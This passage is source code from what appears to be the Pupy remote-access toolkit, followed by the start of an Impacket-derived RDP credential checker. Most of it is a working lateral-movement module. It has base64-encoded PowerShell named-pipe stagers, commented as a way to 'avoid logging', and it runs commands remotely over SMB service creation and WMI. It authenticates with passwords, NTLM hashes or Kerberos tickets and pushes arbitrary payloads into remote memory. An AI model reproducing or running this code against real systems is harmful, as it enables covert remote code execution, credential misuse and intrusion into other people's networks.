        RedirectStandardInput = $true;
        WindowStyle = 1;
    }};
}};
$pr.Start();

do {{
  [byte[]]$buff = new-object byte[] 4096;
  $count = $p.Read($buff, 0, $buff.Length);
  $pr.StandardInput.BaseStream.Write($buff, 0, $count);
}} while ($count -gt 0);

$pr.StandardInput.Close();
}} finally {{
if ($p) {{$p.Close();}};
exit;
}}
\r\n
'''

PIPE_STDOUT_TEMPLATE = '''
try {{
    $p = new-object System.IO.Pipes.NamedPipeServerStream("{pipename}","Out",2,"Byte",0,0,{size});
    $p.WaitForConnection();
    $x = new-object System.IO.BinaryWriter($p);
    $enc = [system.Text.Encoding]::UTF8;

    $StartInfo = New-Object System.Diagnostics.ProcessStartInfo -Property @{{
        FileName = '{arg0}';
        Arguments = '{argv}';
        UseShellExecute = $false;
        RedirectStandardInput = $true;
        RedirectStandardOutput = $true;
        RedirectStandardError = $true;
    }};

    $Process = New-Object System.Diagnostics.Process;
    $Process.StartInfo = $StartInfo;

    $OutEvent = Register-ObjectEvent -Action {{
        $d=$Event.SourceEventArgs.Data;
        if (![string]::IsNullOrEmpty($d)) {{
            $d.Split([Environment]::NewLine) | Foreach {{
                $x.Write($enc.GetBytes($_));
                $x.Write([Char](10));
            }};
            $x.Flush();
        }}
    }} -InputObject $Process -EventName OutputDataReceived;

    $ErrEvent = Register-ObjectEvent -Action {{
        $d=$Event.SourceEventArgs.Data;
        if (![string]::IsNullOrEmpty($d)) {{
            $d.Split([Environment]::NewLine) | Foreach {{
                $x.Write($enc.GetBytes($_));
                $x.Write([Char](10));
            }};
            $x.Flush();
        }}
    }} -InputObject $Process -EventName ErrorDataReceived;

    $Process.Start();

    $Process.StandardInput.Close();
    $Process.BeginOutputReadLine();
    $Process.BeginErrorReadLine();

}} catch {{
    try {{
        $x.Write($enc.GetBytes("PS Error: $($PSItem.ToString())"));
        $x.Write([Char](10));
        $x.Close();
    }} finally {{
        exit;
    }}
}}

while (!$Process.WaitForExit(100)) {{}}

$OutEvent.Name, $ErrEvent.Name |
    ForEach-Object {{Unregister-Event -SourceIdentifier $_}};

$x.Flush();
$x.Close();
exit;
\r\n
'''

POWERSHELL_CMD_TEMPLATE_STD = '{powershell} -version 2 -noninteractive -EncodedCommand "{cmd}"'
# Avoid logging (a bit)
POWERSHELL_CMD_TEMPLATE_CMD = 'cmd.exe /Q /D /S /c "echo:iex([System.Text.Encoding]::ASCII.GetString(' \
    '[Convert]::FromBase64String("{cmd}"))) | {powershell} -"'

POWERSHELL_PATH = r'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'

SERVICE_NAME   = ''.join(random.sample(string.ascii_letters, 10))


def generate_stager_cmd(size=1024):
    pipename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10))
    encoded = b64encode(PIPE_STAGER_TEMPLATE.format(
        pipename=pipename, size=size, powershell=POWERSHELL_PATH))
    cmd = POWERSHELL_CMD_TEMPLATE_CMD.format(powershell=POWERSHELL_PATH, cmd=encoded)
    return cmd, pipename


def generate_loader_payload(size):
    pipename = ''.join(random.choice(
        string.ascii_uppercase + string.digits) for _ in xrange(10)
    )
    payload = PIPE_LOADER_TEMPLATE.format(pipename=pipename, size=size)
    return payload, pipename


def generate_stdo_payload(arg0, argv):
    argv = ' '.join(argv)
    pipename = ''.join(
        random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10)
    )
    payload = PIPE_STDOUT_TEMPLATE.format(
        pipename=pipename, size=1024, arg0=arg0, argv=argv)
    return payload, pipename, arg0, argv


class ConnectionInfo(object):
    __slots__ = (
        'host', 'port', 'user', 'password', 'domain',
        'nt', 'lm',
        'aes', 'TGT', 'TGS', 'KDC', 'valid', 'timeout',
        '_smb_conn', '_wbem_conn', '_dcom_conn', '_use_cache', '_cached'
    )

    def __init__(
        self, host, port=445, user='', domain='', password='', ntlm='',
            aes='', tgt='', tgs='', kdc='', timeout=10, use_cache=None):

        self._smb_conn = None
        self._wbem_conn = None
        self._dcom_conn = None
        self._cached = False

        if use_cache is None:
            use_cache = USE_CACHE

        self._use_cache = use_cache

        creds = find_first_cred(
            schema='smb', address=host, port=port,
            domain=domain, username=user
        )

        if creds:
            user = user or creds.username
            domain = domain or creds.domain
            password = password or creds.password
            ntlm = ntlm or creds.ntlm
            aes = aes or creds.aes
            tgt = tgt or creds.tgt
            tgs = tgt or creds.tgs
            kdc = kdc or creds.kdc

        self.host = host
        self.port = int(port)
        self.user = user
        self.password = password
        self.domain = domain
        self.lm, self.nt = '', ''
        self.valid = None
        self.timeout = int(timeout)
        self.aes = aes
        self.TGT = tgt
        self.TGS = tgs
        self.KDC = kdc

        if ntlm:
            if ':' in ntlm:
                self.lm, self.nt = ntlm.strip().split(':')
            else:
                self.lm = '00'*16
                self.nt = ntlm

    def __str__(self):
        conninfo = 'host={}:{} user={}'.format(
            self.host, self.port,
            self.domain + '\\' + self.user if self.domain else self.user
        )

        if self.password:
            conninfo += ' '+self.password

        if self.nt and self.lm:
            conninfo += ' ntlm={}:{}'.format(self.lm, self.nt)

        return conninfo

    @property
    def cached(self):
        return self._cached

    @property
    def kerberos(self):
        return bool(self.aes)

    @property
    def ntlm(self):
        return '{}:{}'.format(self.lm, self.nt)

    @property
    def credentials(self):
        return [
            self.user,
            self.password,
            self.domain,
            self.lm, self.nt,
            self.aes, self.TGT, self.TGS
        ]

    def close(self):
        if self._cached:
            # Leak connections if cache is used
            return

        if self._smb_conn:
            try:
                self._smb_conn.close()
            except Exception:
                pass

            self._smb_conn = None

        if self._wbem_conn:
            try:
                self._wbem_conn.RemRelease()
            except Exception:
                pass

            self._wbem_conn = None

        if self._dcom_conn:
            try:
                self._dcom_conn.disconnect()
            except Exception:
                pass

            self._dcom_conn = None

    def __enter__(self):
        pass

    def __exit__(self, *args):
        self.close()

    def _cache_key_entry(self):
        return (
          self.host, self.user, self.password,
          self.domain, self.lm, self.nt, self.aes,
          self.kerberos
        )

    def create_wbem(self, namespace='//./root/cimv2', rpc_auth_level=None):
        if self._wbem_conn:
            return self._wbem_conn

        key = None
        if self._use_cache:
            key = self._cache_key_entry()
            if key in WBEM_SESSIONS_CACHE:
                self._dcom_conn, self._wbem_conn = WBEM_SESSIONS_CACHE[key]
                self._cached = True
                return self._wbem_conn

        dcom = DCOMConnection(
            self.host, self.user, self.password, self.domain,
            self.lm, self.nt, self.aes, oxidResolver=True,
            doKerberos=self.kerberos
        )

        try:
            iInterface = dcom.CoCreateInstanceEx(
                wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
            )

            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)

            iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)

            if rpc_auth_level == 'privacy':
                iWbemServices.get_dce_rpc().set_auth_level(
                    RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

            elif rpc_auth_level == 'integrity':
                iWbemServices.get_dce_rpc().set_auth_level(
                    RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)

        except:
            dcom.disconnect()
            raise

        self._dcom_conn = dcom
        self._wbem_conn = iWbemServices

        if key is not None:
            WBEM_SESSIONS_CACHE[key] = self._dcom_conn, self._wbem_conn
            self._cached = True

        return self._wbem_conn

    def create_pipe_dce_rpc(self, pipe, dialect=None):
        rpc = None

        rpc_transport = transport.DCERPCTransportFactory(
            r'ncacn_np:{}[{}]'.format(self.host, pipe))
        rpc_transport.set_dport(self.port)

        if dialect:
            rpc_transport.preferred_dialect(dialect)

        rpc_transport.set_credentials(
            self.user, self.password, self.domain,
            self.lm, self.nt, self.aes,
            self.TGT, self.TGS
        )

        if self._smb_conn:
            rpc_transport.set_smb_connection(self._smb_conn)
            rpc = rpc_transport.get_dce_rpc()
        else:
            key = None

            rpc = rpc_transport.get_dce_rpc()
            rpc.connect()

            if key and key in SMB_SESSIONS_CACHE:
                self._smb_conn = SMB_SESSIONS_CACHE[key]
                rpc_transport.set_smb_connection(self._smb_conn)
                self._cached = True
                return rpc_transport.get_dce_rpc()

            self._smb_conn = rpc_transport.get_smb_connection()

            if key is not None:
                SMB_SESSIONS_CACHE[key] = self._smb_conn
                self._cached = True

        return rpc

    def create_smb_connection(self, force=False):
        if self._smb_conn and not force:
            return self._smb_conn

        key = None

        if self._use_cache and not force:
            key = self._cache_key_entry()
            if key in SMB_SESSIONS_CACHE:
                self._smb_conn = SMB_SESSIONS_CACHE[key]
                self._cached = True
                return self._smb_conn

        try:
            smb = SMBConnection(
                self.host, self.host, None, self.port, timeout=self.timeout
            )

            if self.kerberos:
                smb.kerberos_login(
                    self.user, self.password,
                    self.domain, self.lm, self.nt,
                    self.aes, self.KDC, self.TGT, self.TGS)
            else:
                smb.login(
                    self.user, self.password, self.domain,
                    self.lm, self.nt
                )

            self.valid = True

            add_cred(
                self.user, self.password, self.domain, 'smb',
                self.host, None, self.port,
                ntlm=self.ntlm, aes=self.aes,
                tgt=self.TGT, tgs=self.TGS, kdc=self.KDC
            )

            if not force:
                self._smb_conn = smb

            if key is not None and not force:
                SMB_SESSIONS_CACHE[key] = self._smb_conn

            return smb

        except SessionError as e:
            raise PsExecException(e.getErrorString()[0])

        except (OSError, socket.error) as e:
            raise PsExecException(e)

        except Exception as e:
            error = '{}: {}\n{}'.format(
                type(e).__name__, e, traceback.format_exc()
            )

            raise PsExecException(error)


class SMBPipeObject(object):
    __slots__ = ('conn', 'tid', 'fid')

    def __init__(self, conn, tid, fid):
        self.conn = conn
        self.tid = tid
        self.fid = fid

    def write(self, data, wait=True):
        try:
            self.conn.writeNamedPipe(self.tid, self.fid, data, wait)
        except SessionError as e:
            if e.getErrorCode() == 0xc000014b:
                return None
            else:
                raise

    def read(self, amount=None):
        try:
            data = self.conn.readNamedPipe(self.tid, self.fid, amount)
        except SessionError as e:
            if e.getErrorCode() == 0xc000014b:
                return None
            else:
                raise

        return data


class FileTransfer(object):
    __slots__ = (
        '_exception', '_conn', '_cached'
    )

    def __init__(self, conn, cached=False):
        self._exception = None
        self._conn = conn
        self._cached = cached

    @property
    def error(self):
        if self.ok:
            return None

        te = type(self._exception)
        if te in (UnicodeEncodeError, UnicodeDecodeError):
            return 'Could not convert name to unicode. ' \
                'Use -c option to specify encoding'
        elif te == SessionError:
            error = self._exception.getErrorString()[1]
            if isinstance(error, bytes):
                error = error.decode(getdefaultencoding())
            return error
        else:
            return te.__name__ + ': ' + str(self._exception)

    @property
    def ok(self):
        return self._exception is None

    @property
    def info(self):
        return self._conn.getServerOS()

    def shares(self):
        self._exception = None

        try:
            return [
                as_unicode_string(
                    x['shi1_netname'][:-1]
                ) for x in self._conn.listShares()
            ]

        except Exception as e:
            self._exception = e
            return []

    @contextmanager
    def open_pipe(self, path, mode, timeout=600, shareMode=0):
        tid = self._conn.connectTree('IPC$')
        pipeReady = False

        for _ in xrange(timeout):
            try:
                self._conn.waitNamedPipe(tid, '\\' + path)
                pipeReady = True
                break

            except SessionError as e:
                if e.getErrorCode() == 0xC0000034:
                    time.sleep(1)
                else:
                    raise

        if not pipeReady:
            # Last try, will raise
            self._conn.waitNamedPipe(tid, '\\' + path)

        fid = self._conn.openFile(
            tid, path, mode, shareMode=shareMode)

        try:
            yield SMBPipeObject(self._conn, tid, fid)
        finally:
            self._conn.closeFile(tid, fid)

    def ls(self, share, path):
        self._exception = None

        try:
            listing = []
            for f in self._conn.listPath(share, path):
                if f.get_longname() in ('.', '..'):
                    continue

                listing.append((
                    try_as_unicode_string(
                        f.get_longname(), fail=False
                    ),
                    f.is_directory() > 0,
                    f.get_filesize(),
                    as_unicode_string(
                        time.ctime(float(f.get_mtime_epoch()))
                    )
                ))
            return listing

        except Exception as e:
            self._exception = e
            return []

    def rm(self, share, path):
        self._exception = None

        try:
            self._conn.deleteFile(share, path)
        except Exception as e:
            self._exception = e

    def mkdir(self, share, path):
        self._exception = None

        try:
            self._conn.createDirectory(share, path)
        except Exception as e:
            self._exception = e

    def rmdir(self, share, path):
        self._exception = None

        try:
            self._conn.deleteDirectory(share, path)
        except Exception as e:
            self._exception = e

    def get(self, share, remote, local):
        self._exception = None

        if not self.ok:
            raise ValueError('Connection was not established')

        try:
            if isinstance(local, basestring):
                local = os.path.expandvars(local)
                local = os.path.expanduser(local)

                with open(local, 'wb') as destination:
                    self._conn.getFile(
                        share,
                        remote,
                        destination.write
                    )
            else:
                self._conn.getFile(share, remote, local)

        except Exception as e:
            self._exception = e

    def put(self, local, share, remote):
        self._exception = None

        if not self.ok:
            raise ValueError('Connection was not established')

        try:
            if isinstance(local, basestring):
                local = os.path.expandvars(local)
                local = os.path.expanduser(local)

                if not os.path.exists(local):
                    raise ValueError(
                        'Local file ({}) does not exists'.format(local)
                    )

                with open(local, 'rb') as source:
                    self._conn.putFile(
                        share,
                        remote,
                        source.read
                    )
            else:
                self._conn.putFile(share, remote, local)

        except Exception as e:
            self._exception = e

    def push_to_pipe(self, pipe, data, timeout=90):
        with self.open_pipe(
                pipe, FILE_WRITE_DATA | FILE_APPEND_DATA, timeout) as pipe:
            # Write by small chunks (1.4 KB)
            # Slow, but should work with crappy networks
            for offset in xrange(0, len(data), 1400):
                pipe.write(data[offset:offset+1400])

    def close(self):
        if self._conn and not self._cached:
            self._conn.close()


class ShellServiceAlreadyExists(Exception):
    pass


class ShellServiceIsNotExists(Exception):
    pass


class ShellService(object):
    __slots__ = (
        '_scHandle', '_serviceHandle', '_scmr', '_name', '_command'
    )

    def __init__(self, rpc, name=SERVICE_NAME):
        if not isinstance(name, bytes):
            name = name.encode(sys.getfilesystemencoding())

        self._name = name + b'\x00'

        self._scmr = rpc
        self._scmr.bind(scmr.MSRPC_UUID_SCMR)

        resp = scmr.hROpenSCManagerW(self._scmr)
        self._scHandle = resp['lpScHandle']

        self._serviceHandle = None
        self._command = None

        try:
            resp = scmr.hROpenServiceW(self._scmr, self._scHandle, self._name)
            self._serviceHandle = resp['lpServiceHandle']

        except Exception as e:
            if hasattr(e, 'error_code') and \
                    e.error_code == ERROR_SERVICE_DOES_NOT_EXIST:
                pass
            else:
                raise

    def create(self, command):
        if self._serviceHandle:
            raise ShellServiceAlreadyExists()

        if not isinstance(command, bytes):
            command = command.encode(
                sys.getfilesystemencoding, errors='ignore'
            )

        if not command.endswith(b'\x00'):
            command += b'\x00'

        resp = scmr.hRCreateServiceW(
            self._scmr,
            self._scHandle,
            self._name,
            self._name,
            lpBinaryPathName=command
        )

        self._command = command
        self._serviceHandle = resp['lpServiceHandle']
        return self._serviceHandle

    def start(self):
        if not self._serviceHandle:
            raise ShellServiceIsNotExists()

        try:
            scmr.hRStartServiceW(self._scmr, self._serviceHandle)
        except Exception as e:
            if hasattr(e, 'error_code') and \
                    e.error_code == ERROR_SERVICE_REQUEST_TIMEOUT:
                return False

            raise

    def status(self):
        if not self._serviceHandle:
            raise ShellServiceIsNotExists()

        resp = scmr.hRQueryServiceStatus(self._scmr, self._serviceHandle)
        return resp['lpServiceStatus']['dwCurrentState']

    @property
    def command(self):
        return self._command

    @property
    def handle(self):
        return self._serviceHandle

    @property
    def name(self):
        return self._name

    @property
    def exists(self):
        return self._serviceHandle is not None

    @property
    def active(self):
        return self.status() == scmr.SERVICE_RUNNING

    @property
    def stopped(self):
        return self.status() == scmr.SERVICE_STOPPED

    def destroy(self):
        if not self._serviceHandle:
            raise ShellServiceIsNotExists()

        try:
            scmr.hRControlService(
                self._scmr, self._serviceHandle,
                scmr.SERVICE_CONTROL_STOP
            )
        except Exception as e:

            try:
                scmr.hRDeleteService(self._scmr, self._serviceHandle)
            finally:
                scmr.hRCloseServiceHandle(self._scmr, self._serviceHandle)
                self._serviceHandle = None

            if hasattr(e, 'error_code') and \
                    e.error_code == ERROR_SERVICE_NOT_ACTIVE:
                pass
            else:
                raise


def create_filetransfer(*args, **kwargs):
    try:
        info = ConnectionInfo(*args, **kwargs)
        smbc = info.create_smb_connection()
        return FileTransfer(smbc, info.cached), None

    except PsExecException as e:
        return None, ' '.join([
            e.as_unicode(kwargs.get('codepage', None)),
            'CREDS: {}'.format(info.credentials)
        ])


def sc(conninfo, command, output=True, on_data=None, on_exec=None):
    rpc = conninfo.create_pipe_dce_rpc('\\pipe\\svcctl')
    ft = None

    payload = None
    stdout = None
    stager_pipe = None

    if output:
        argv0 = command
        argv = []

        if ' ' in command:
            parts = command.split(' ', 1)
            argv0, argv = parts[0], parts[1:]

        payload, stdout, arg0, argv = generate_stdo_payload(argv0, argv)
        command, stager_pipe = generate_stager_cmd(len(payload))

        if on_data:
            on_data(False, 'Wrapped: arg0={} argv={}'.format(arg0, argv))

    if on_data:
        on_data(False, 'Connected to svcctl')

    starter = None
    service = ShellService(rpc)

    if on_data:
        on_data(False, 'Connected to SCManager')

    if service.exists:
        if on_data:
            on_data(False, 'Delete existing service')

        service.destroy()

    if command.startswith(('cmd ', 'cmd.exe')):
        # zOMG Need to have double encoded shit
        # In other cases some God-Knows-What happend with pipes/stdo etc
        command = 'cmd.exe /Q /D /S /c "' + command.replace(
            '"', '^"'
        ).replace(
            '|', '^|'
        ) + '"'

    if not service.create(command):
        raise PsExecException('Could not create service')

    try:
        if on_data:
            on_data(False, 'Service {} created (command={} len={})'.format(
                service.name, service.command, len(service.command)))

        timeout = None

        if conninfo.timeout:
            timeout = time.time() + conninfo.timeout

        output_data = []

        if output:
            # Service start will block, so we'll do that in separate thread
            starter = Thread(target=service.start)
            starter.daemon = True
            starter.start()

            if on_data:
                on_data(
                    False, 'Service {} (hopefully) started'.format(
                        service.name
                    )
                )

            ft = FileTransfer(
                conninfo.create_smb_connection(
                    # We need new connection, because previous one is blocked
                    force=True
                ), False
            )

            if on_data:
                on_data(False, 'New connection to {}'.format(ft.info))

            try:
                if on_data:
                    on_data(
                        False, 'Connecting to stager (pipe={})'.format(
                            stager_pipe
                        )
                    )

                with ft.open_pipe(
                    stager_pipe, FILE_WRITE_DATA | FILE_APPEND_DATA,
                        conninfo.timeout) as pipe:
                    if on_data:
                        on_data(False, 'Connected to the stager pipe')

                    pipe.write(payload)

                if on_exec:
                    on_exec(ft)

                if on_data:
                    on_data(False, 'Connecting to stdout (pipe={})'.format(stdout))

                with ft.open_pipe(stdout, FILE_READ_DATA, conninfo.timeout) as pipe:
                    if on_data:
                        on_data(False, 'Connected to stdout')

                    while True:
                        chunk = pipe.read(1024)
                        if not chunk:
                            break

                        if '\r\n' in chunk:
                            chunk = chunk.replace('\r\n', '\n')

                        if on_data:
                            on_data(True, chunk)
                        else:
                            output_data.append(chunk)

                        if timeout is not None and time.time() >= timeout:
                            break
            finally:
                ft.close()

        else:
            if on_exec:
                starter = Thread(target=service.start)
                starter.daemon = True
                starter.start()

                ft = FileTransfer(
                    conninfo.create_smb_connection(
                        # We need new connection, because previous one is blocked
                        force=True
                    ), False
                )

                try:
                    on_exec(ft)
                finally:
                    ft.close()
            else:
                service.start()

    finally:
        if starter is not None:
            if on_data:
                on_data(False, 'Waiting start completion {}'.format(service.name))

            starter.join()

        if on_data:
            on_data(False, 'Destroying service {}'.format(service.name))

        try:
            service.destroy()
        except Exception as e:
            if on_data:
                on_data(False, 'SC destroy failed: {}'.format(e))

            pass

    if on_data:
        on_data(False, 'SC complete')

    return ''.join(output_data), ft


def wmiexec(conninfo, command, output=True, on_data=None, on_exec=None):
    timeout = None

    if conninfo.timeout:
        timeout = time.time() + conninfo.timeout

    iWbemServices = conninfo.create_wbem()

    if on_data:
        on_data(False, 'Connected to WMI')

    win32Process, _ = iWbemServices.GetObject('Win32_Process')

    output_data = []
    ft = None

    if output:
        parts = command.split(' ', 1)
        argv0, argv = parts[0], parts[1:]

        payload, stdout, arg0, argv = generate_stdo_payload(argv0, argv)
        if on_data:
            on_data(False, 'Wrapped: arg0={} argv={}'.format(arg0, argv))

        stager, stager_pipe = generate_stager_cmd(len(payload))

        ft = FileTransfer(
            conninfo.create_smb_connection(), conninfo.cached
        )

        iResultClassObject = win32Process.Create(stager, 'C:\\', None)
        result = iResultClassObject.ReturnValue
        if result:
            raise PsExecException('Win32_Process.Create failed: {}'.format(result))

        if on_data:
            on_data(False, '{} -> {}'.format(stager, iResultClassObject.ProcessId))

        if on_data:
            on_data(False, 'Connecting to the stager pipe (pipe={})'.format(stager_pipe))

        with ft.open_pipe(stager_pipe, FILE_WRITE_DATA | FILE_APPEND_DATA, conninfo.timeout) as pipe:
            if on_data:
                on_data(False, 'Connected to the stager pipe')

            pipe.write(payload)

        if on_exec:
            ft = FileTransfer(
                conninfo.create_smb_connection(), conninfo.cached
            )

            on_exec(ft)

        if on_data:
            on_data(False, 'Connecting to stdout (pipe={})'.format(stdout))

        with ft.open_pipe(stdout, FILE_READ_DATA, conninfo.timeout) as pipe:
            if on_data:
                on_data(False, 'Connected to stdout')

            while True:
                chunk = pipe.read(1024)
                if not chunk:
                    break

                if on_data:
                    on_data(True, chunk)
                else:
                    output_data.append(chunk)

                if timeout is not None and time.time() >= timeout:
                    break
    else:
        iResultClassObject = win32Process.Create(command, 'C:\\', None)

        if iResultClassObject.ReturnValue:
            raise PsExecException(
            'Win32_Process.Create failed: {}'.format(iResultClassObject.ReturnValue))
        elif on_data:
            if on_data:
                on_data(False, '{} -> {}'.format(command, iResultClassObject.ProcessId))

        if on_exec:
            ft = FileTransfer(
                conninfo.create_smb_connection(), conninfo.cached
            )

            on_exec(ft)

    return ''.join(output_data), ft


def wql(
    host, port, user, domain, password, ntlm,
        query, timeout=30, namespace='//./root/cimv2', rpc_auth_level=None):

    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    with conninfo:
        iWbemServices = conninfo.create_wbem(namespace, rpc_auth_level)
        iEnumWbemClassObject = iWbemServices.ExecQuery(query.strip())

        first = True
        columns = None

        try:
            result = []
            while True:
                try:
                    pEnum = iEnumWbemClassObject.Next(0xffffffff,1)[0]
                    header = pEnum.getProperties()
                    if first:
                        columns = tuple(x for x in header)
                        first = False

                    item = [None]*len(columns)

                    for idx, key in enumerate(columns):
                        if type(header[key]['value']) is list:
                            item[idx] = tuple([
                                value for value in header[key]['value']
                            ])
                        else:
                            item[idx] = header[key]['value']

                    result.append(item)

                except Exception as e:
                    if str(e).find('S_FALSE') < 0:
                        raise
                    else:
                        break

            return columns, tuple(result)

        finally:
            iEnumWbemClassObject.RemRelease()


def check(host, port, user, domain, password, ntlm, timeout=30):
    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    try:
        with conninfo:
            conninfo.create_smb_connection()
    except:
        return False

    return True


def _psexec(
    conninfo, command, execm='smbexec',
        codepage=None, output=True,
        on_exec=None, on_data=None, on_complete=None, verbose=False):

    if on_data and verbose:
        on_data('PSExec thread started')

    def _on_data(is_output, data):
        if data:
            if codepage:
                data = data.decode(codepage)

            if is_output or verbose:
                on_data(data)

    try:
        with conninfo:
            if execm == 'smbexec':
                sc(
                    conninfo, command, output, _on_data if on_data else None,
                    on_exec
                )

            elif execm == 'wmi':
                wmiexec(
                    conninfo, command, output, _on_data if on_data else None,
                    on_exec
                )

            else:
                raise ValueError('Unknown execution method, knowns are smbexec/wmi')

    except PsExecException as e:
        if on_complete:
            on_complete(e.as_unicode(codepage))

    except SessionError as e:
        if on_complete:
            on_complete('{}:{} {}'.format(conninfo.host, conninfo.port, e))

    except Exception as e:
        if on_complete:
            on_complete(
                '{}:{} {}: {}\n{}'.format(
                    conninfo.host,
                    conninfo.port,
                    type(e).__name__, e,
                    traceback.format_exc()))

    finally:
        if on_data and verbose:
            on_data('PSExec thread completed')

        if on_complete:
            on_complete(None)


def psexec(
        host, port,
        user, domain,
        password, ntlm,
        command, execm='smbexec',
        codepage=None, timeout=30, output=True, on_exec=None,
        on_data=None, on_complete=None, verbose=False):

    conninfo = ConnectionInfo(
        host, port, user, domain, password, ntlm, timeout=timeout
    )

    worker = Thread(
        target=_psexec,
        args=(
            conninfo,
            command, execm, codepage, output,
            on_exec, on_data, on_complete, verbose
        )
    )
    worker.daemon = True
    worker.start()


def get_cache():
    if USE_CACHE is not True:
        raise ValueError('Cache disabled')

    keys = set()
    keys.update(tuple(x) for x in SMB_SESSIONS_CACHE)
    keys.update(tuple(x) for x in WBEM_SESSIONS_CACHE)

    return tuple(keys)


def clear_session_caches():
    for session in SMB_SESSIONS_CACHE.values():
        try:
            session.close()
        except Exception:
            pass

    for dcom, wbem in WBEM_SESSIONS_CACHE.values():
        try:
            wbem.RemRelease()
        except Exception:
            pass

        try:
            dcom.disconnect()
        except Exception:
            pass

    SMB_SESSIONS_CACHE.clear()
    WBEM_SESSIONS_CACHE.clear()


def set_use_cache(use_cache):
    global USE_CACHE
    USE_CACHE = use_cache

    if use_cache is False:
        clear_session_caches()


def pupy_smb_exec(
    host, port, user, domain, password, ntlm, payload,
        execm='smbexec', timeout=90, log_cb=None):

    size = len(payload)

    loader_payload, loader_pipename = generate_loader_payload(size)
    stager_cmd, stager_pipename = generate_stager_cmd(len(loader_payload))

    def _psexec_log(data):
        if log_cb:
            log_cb(None, data)

    def _loader():
        if log_cb:
            log_cb(None, 'Thread started (pipe={}, payload={}, md5={})'.format(
                loader_pipename, size, md5(payload).hexdigest()))

        def _on_complete(error):
            if log_cb:
                if error:
                    log_cb(False, 'PSExec failed: {}'.format(error))
                else:
                    log_cb(True, 'PSExec: process exited')

        def _push_payload(ft):
            if log_cb:
                log_cb(None, 'Connected to {}:{} (user={}, os={})'.format(
                    host, port, ((domain + '\\') if domain else '') + user,
                    ft.info))

            try:
                ft.push_to_pipe(stager_pipename, loader_payload, timeout=timeout)
                if log_cb:
                    log_cb(None, 'Stager flushed')

            except Exception as e:
                if log_cb:
                    import traceback
                    log_cb(None, '{}: {}'.format(
                        e, traceback.format_exc()))

                return

            try:
                ft.push_to_pipe(loader_pipename, payload, timeout=timeout)
                if log_cb:
                    log_cb(None, 'Payload flushed')

            except Exception as e:
                if log_cb:
                    import traceback
                    log_cb(None, '{}: {}'.format(
                        e, traceback.format_exc()))

        try:
            conninfo = ConnectionInfo(
                host, port, user, domain, password, ntlm, timeout=timeout
            )

            _psexec(
                conninfo,
                stager_cmd, execm=execm,
                output=False,
                on_exec=_push_payload,
                on_data=_psexec_log,
                on_complete=_on_complete,
                verbose=True
            )

        except Exception as e:
            if log_cb:
                import traceback
                log_cb(
                    False, 'Communication failed: {} {} {} {})'.format(
                        e, type(e), dir(e), traceback.format_exc()))

    worker = Thread(
        target=_loader,
        name='PowerLoader [smb] (stager pipe={}, loader pipe={}, timeout={})'.format(
            stager_pipename, loader_pipename, timeout)
    )
    worker.daemon = True
    worker.start()

    return stager_cmd, loader_pipename


================================================
FILE: pupy/packages/all/pupyutils/rdp_check.py
================================================
#!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
#  Alberto Solino (@agsolino)
#
# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
#              just to reach CredSSP auth. This example test whether
#              an account is valid on the target host.
#
# ToDo:
#    [x] Manage to grab the server's SSL key so we can finalize the whole
#        authentication process (check [MS-CSSP] section 3.1.5)
#

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from struct import pack, unpack
from struct import error as struct_error

# from impacket.examples import logger
from impacket.structure import Structure
from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
# import logging
from binascii import a2b_hex
from Crypto.Cipher import ARC4
from impacket import ntlm

from pupy.network.lib.scan import scanthread_parse

TDPU_CONNECTION_REQUEST  = 0xe0
TPDU_CONNECTION_CONFIRM  = 0xd0
TDPU_DATA                = 0xf0
TPDU_REJECT              = 0x50
TPDU_DATA_ACK            = 0x60

# RDP_NEG_REQ constants
TYPE_RDP_NEG_REQ = 1
PROTOCOL_RDP     = 0
PROTOCOL_SSL     = 1
PROTOCOL_HYBRID  = 2

# RDP_NEG_RSP constants
TYPE_RDP_NEG_RSP = 2
EXTENDED_CLIENT_DATA_SUPPORTED = 1
DYNVC_GFX_PROTOCOL_SUPPORTED   = 2

# RDP_NEG_FAILURE constants
TYPE_RDP_NEG_FAILURE                  = 3
SSL_REQUIRED_BY_SERVER                = 1
SSL_NOT_ALLOWED_BY_SERVER             = 2
SSL_CERT_NOT_ON_SERVER                = 3
INCONSISTENT_FLAGS                    = 4
HYBRID_REQUIRED_BY_SERVER             = 5
SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6

class TPKT(Structure):
    commonHdr = (
            ('Version','B=3'),
            ('Reserved','B=0'),
            ('Length','>H=len(TPDU)+4'),
            ('_TPDU','_-TPDU','self["Length"]-4'),
            ('TPDU',':=""'),
    )

class TPDU(Structure):
    commonHdr = (
            ('LengthIndicator','B=len(VariablePart)+1'),
            ('Code','B=0'),
            ('VariablePart',':=""'),
    )

    def __init__(self, data = None):
        Structure.__init__(self,data)
        self['VariablePart']=''

class CR_TPDU(Structure):
    commonHdr = (
            ('DST-REF','<H=0'),
            ('SRC-REF','<H=0'),
            ('CLASS-OPTION','B=0'),
            ('Type','B=0'),
            ('Flags','B=0'),
            ('Length','<H=8'),
    )

class DATA_TPDU(Structure):
    commonHdr = (
            ('EOT','B=0x80'),
            ('UserData',':=""'),
    )

    def __init__(self, data = None):
        Structure.__init__(self,data)
        self['UserData'] =''


class RDP_NEG_REQ(CR_TPDU):
    structure = (
            ('requestedProtocols','<L'),
    )

    def __init__(self,data=None):
        CR_TPDU.__init__(self,data)
        if data is None:
            self['Type'] = TYPE_RDP_NEG_REQ

class RDP_NEG_RSP(CR_TPDU):
    structure = (
            ('selectedProtocols','<L'),
    )

class RDP_NEG_FAILURE(CR_TPDU):
    structure = (
            ('failureCode','<L'),
    )

